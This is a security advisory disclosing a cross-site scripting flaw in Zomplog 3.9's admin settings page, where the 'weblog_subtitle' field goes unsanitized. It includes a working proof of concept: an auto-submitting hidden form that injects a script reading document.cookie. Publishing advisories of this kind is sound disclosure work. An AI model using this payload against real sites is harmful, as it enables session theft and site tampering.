Vulnerability ID: HTB22642 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_zomplog.html Product: Zomplog Vendor: Gerben Schmidt ( http://www.zomp.nl/zomplog/ ) Vulnerable Version: 3.9 and probably prior versions Vendor Notification: 13 October 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "/admin/settings.php" script to properly sanitize user-supplied input in "weblog_subtitle" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/settings.php"; method="post" enctype="multipart/form-data" name="main"> <input type="hidden" name="Submit" value="Submit ââ"> <input type="hidden" name="weblog_title" value="My Zomplog"> <input type="hidden" name="weblog_subtitle" value='weblog subtitle"><script>alert(document.cookie)</script>'> <input type="hidden" name="language" value="english"> <input type="hidden" name="max" value="5"> <input type="hidden" name="scroll" value="5"> <input type="hidden" name="date" value="m d Y, G:i"> <input type="hidden" name="comments" value="1"> <input type="hidden" name="use_upload" value="1"> <input type="hidden" name="use_tinymce" value="1"> <input type="hidden" name="pages_admin" value="1"> <input type="hidden" name="max_upload" value="300000"> <input type="hidden" name="img_width" value="150"> <input type="hidden" name="img_fullwidth" value="450"> <input type="hidden" name="admin_welcome" value="Welcome to the Zomplog Dashboard!"> <input type="hidden" name="site_welcome" value="Welcome to the Zomplog Site!"> <input type="hidden" name="rss_description" value="RSS site description"> <input type="hidden" name="rss_category" value="rss_category"> <input type="hidden" name="rss_language" value="rss_language"> <input type="hidden" name="rss_email" value="rss_email"> <input type="hidden" name="rss_url" value="rss_url"> </form> <script> document.main.submit(); </script>
